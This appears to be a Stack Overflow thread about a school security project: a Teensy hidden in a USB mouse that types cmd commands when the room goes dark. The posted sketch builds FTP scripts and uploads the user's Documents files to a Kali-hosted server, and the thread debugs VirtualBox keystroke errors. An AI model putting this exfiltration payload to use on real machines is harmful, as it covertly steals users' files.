1

I have a school project about it security. My job is it to customize a hardware mouse with a usb hub and a teensy to program it.

The code on the teensy gets executed when it gets dark (light dependent resistor). The code takes some files on the win7 vm and upload them to an Apache2 server hosted on a kali vm (via cmd commands in win7 vm). Everything works fine in vmware, but I have to use virtualbox for my project.

My problem is now that in virtualbox the cmd commands randomly changes with for example: some letters changes from lowercase to uppercase resulting in a wrong path so the files can't be found, or sometimes missing a backslash which also results in a wrong path.

Like I said its only in virtualbox, in vmware my whole project works perfectly fine, so I don't think its a hardware problem

I use the latest virtualbox version 5.0.12

This is (not the actual) a sample of my teensy script

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");
Remi Guan
  • 21,506
  • 17
  • 64
  • 87
pharZyde
  • 9
  • 5
  • hi @pharZyde, try and describe the problem, for instance you can give details about the language you are using, the details about the KeyCodes your application returning. the details about apache server is irrelevant in your case. – DarthCoder Jan 04 '16 at 16:07
  • hi @DarthCoder, i dunno which language i used tbh, i used the one for teensy with the arduino library thing^^ and well about the keycodes returning, when i check the cmd which commands it executed, its completely random, like C:\Users\user\Documents\ftp.txt made to C:\UsERs\user\DOcuments\ftp.txt or its missing a backslash, sometimes its even missing a whole command like 'cd upload' – pharZyde Jan 04 '16 at 16:10
  • maybe for better understanding, the teensy script makes a local ftp.txt and writes the cmd commands in it like 'cd upload; mkdir test; ...' and after that it establishes a ftp connection with the option -s:C:\Users\user\Documents\ftp.txt so it can just run the cmd commands out of the ftp.txt – pharZyde Jan 04 '16 at 16:16
  • is it just switching the cases ? windows is not case sensitive(for filenames), if the behavior is consistent do give an example of what happens. – DarthCoder Jan 04 '16 at 16:18
  • C:\Users\user\Documents\ftp.txt made to C:\UsERs\user\DOcuments\ftp.txt well, if windows isnt case sensitive it should work duh? -.- – pharZyde Jan 04 '16 at 16:20

1 Answers1

0

I found out what the problem was. I forgot to manually bind the USB Teensy in Virtualbox with the checkbox, so I think it kind of had some problems with drivers and stuff I don't know.

It works now as long as I always bind it manually in virtualbox before I run it.

Shadow The GPT Wizard
  • 66,030
  • 26
  • 140
  • 208
pharZyde
  • 9
  • 5